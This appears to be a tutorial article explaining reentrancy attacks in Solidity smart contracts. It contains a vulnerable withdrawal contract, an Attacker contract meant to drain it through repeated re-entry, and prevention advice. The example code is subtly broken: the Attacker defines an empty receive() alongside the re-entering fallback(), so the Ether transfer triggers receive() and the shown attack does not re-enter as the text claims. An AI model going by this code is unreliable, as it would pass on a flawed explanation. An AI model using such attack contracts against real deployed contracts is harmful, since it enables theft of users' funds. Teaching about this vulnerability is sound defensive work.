0
0
BlockchainConceptIntermediate · 4 min read

Reentrancy Attack in Solidity: What It Is and How It Works

A reentrancy attack in Solidity happens when a contract calls another contract that calls back into the first contract before the first call finishes, allowing repeated withdrawals or state changes. This can cause unexpected behavior and loss of funds if the contract does not properly update its state before external calls.
⚙️

How It Works

Imagine you have a piggy bank that lets your friend take money out. But before your friend finishes taking money out, they call you again to take more money before you close the piggy bank. This is like a reentrancy attack in Solidity.

In Solidity, when a contract sends money to another contract, the receiving contract can run code. If that code calls back into the original contract before it finishes updating its records, it can trick the original contract into sending money multiple times.

This happens because the original contract's state (like the balance) is not updated before the external call, so the attacker can keep withdrawing funds repeatedly.

💻

Example

This example shows a vulnerable contract where an attacker can repeatedly withdraw funds by calling back before the balance updates.

solidity
pragma solidity ^0.8.0;

contract Vulnerable {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Send money to the caller
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Failed to send Ether");

        // Update balance after sending
        balances[msg.sender] = 0;
    }
}

contract Attacker {
    Vulnerable public vulnerable;
    
    constructor(address _vulnerable) {
        vulnerable = Vulnerable(_vulnerable);
    }

    // Fallback function called when receiving Ether
    fallback() external payable {
        if(address(vulnerable).balance >= 1 ether) {
            vulnerable.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "Need at least 1 ether to attack");
        vulnerable.deposit{value: 1 ether}();
        vulnerable.withdraw();
    }

    // Helper to receive Ether
    receive() external payable {}
}
🎯

When to Use

Understanding reentrancy attacks is crucial when writing Solidity contracts that send Ether or call external contracts. You should always protect functions that transfer funds or change important state variables.

Real-world use cases include decentralized exchanges, wallets, and any contract that holds or moves Ether or tokens. Preventing reentrancy helps avoid losing funds to attackers exploiting this vulnerability.

Key Points

  • A reentrancy attack exploits calling back into a contract before its state updates.
  • It can cause repeated withdrawals or unexpected behavior.
  • Always update state before making external calls to prevent it.
  • Use Solidity's checks-effects-interactions pattern or ReentrancyGuard from OpenZeppelin.

Key Takeaways

Always update contract state before calling external contracts to prevent reentrancy.
Reentrancy attacks allow repeated calls that can drain funds unexpectedly.
Use Solidity patterns like checks-effects-interactions or ReentrancyGuard to protect contracts.
Be extra careful when your contract sends Ether or calls unknown contracts.
Testing and auditing your contract can help catch reentrancy vulnerabilities early.